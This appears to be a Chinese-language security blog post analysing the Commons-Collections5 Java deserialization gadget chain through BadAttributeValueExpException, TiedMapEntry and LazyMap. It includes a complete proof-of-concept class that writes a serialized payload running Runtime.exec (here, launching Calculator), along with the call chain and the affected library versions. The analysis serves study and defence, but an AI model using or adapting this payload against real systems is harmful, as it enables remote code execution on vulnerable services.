Commons-Collections5原理分析

CC5 依旧是 LazyMapChainedTransformer 的触发模式,只不过不再使用 AnnotationInvocationHandler 的动态代理来触发 LazyMapget ,而是找到了其他的方式。
因为 jdk 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 jdk 1.8 版本就必须找出能替代 AnnotationInvocationHandler 的新的可以利用的类。

前置知识

TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry 是一个 Map.Entry 的实现类,从名称中可以看到,这是一个绑定了底层 mapEntry,用来使一个 map entry 对象拥有在底层修改 map 的功能。

TiedMapEntry 中有一个成员属性 Map,这就是 Map.Entry 的底层 mapTiedMapEntrygetValue() 方法会调用底层 mapget() 方法,我们可以用来触发 LazyMapget
1

那谁会调用 getValue() 方法呢?我们发现 TiedMapEntryequals/hashCode/toString 都可以触发。

2
3

equals/hashCode 让我们想到了 URLDNSHashMap,不过在 CC5 中我们用的是 toString() 方法。
接下来需要找到一个类在反序列化时会触发 TiedMapEntrytoString() 方法。

BadAttributeValueExpException

于是找到了 javax.management.BadAttributeValueExpException 这个类,反序列化读取 val,当 System.getSecurityManager() == nullvalObj 是除了 String 的其他基础类型时会调用 valObjtoString() 方法,完成上面 TiedMapEntry 的构造。
4
System.getSecurityManager是java安全管理器,默认关闭。有两种启动方式:

  • 命令行参数启动-Djava.security.manager
  • 代码启动System.setSecurityManager(new SecurityManager());

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CC5 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),

};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

HashMap hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"");
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");

setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
setFieldValue(chainedTransformer,"iTransformers",transformers);

seDse.serialize(badAttributeValueExpException,"CC5.ser");
}
}

5
这里有个细节,虽然能够直接通过构造方法赋值给val,但在构造方法中有对入参做toString操作,那在序列化payload时,得到的val就是String而不是map了,所以只能通过反射的方式去赋值给val

6

总结

利用说明:
反序列化 BadAttributeValueExpExceptionreadObject 调用 TiedMapEntrytoString 方法,继而调用 TiedMapEntrygetValue 方法,然后调用了 LazyMapget 方法,触发了后续的 Transformer 恶意执行链。
Gadget 总结:

1
2
3
kick-off gadget:javax.management.BadAttributeValueExpException#readObject()
chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#toString()
sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()

调用链展示:

1
2
3
4
5
6
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

依赖版本

commons-collections : 3.1~3.2.1
jdk 8u76 without a security manager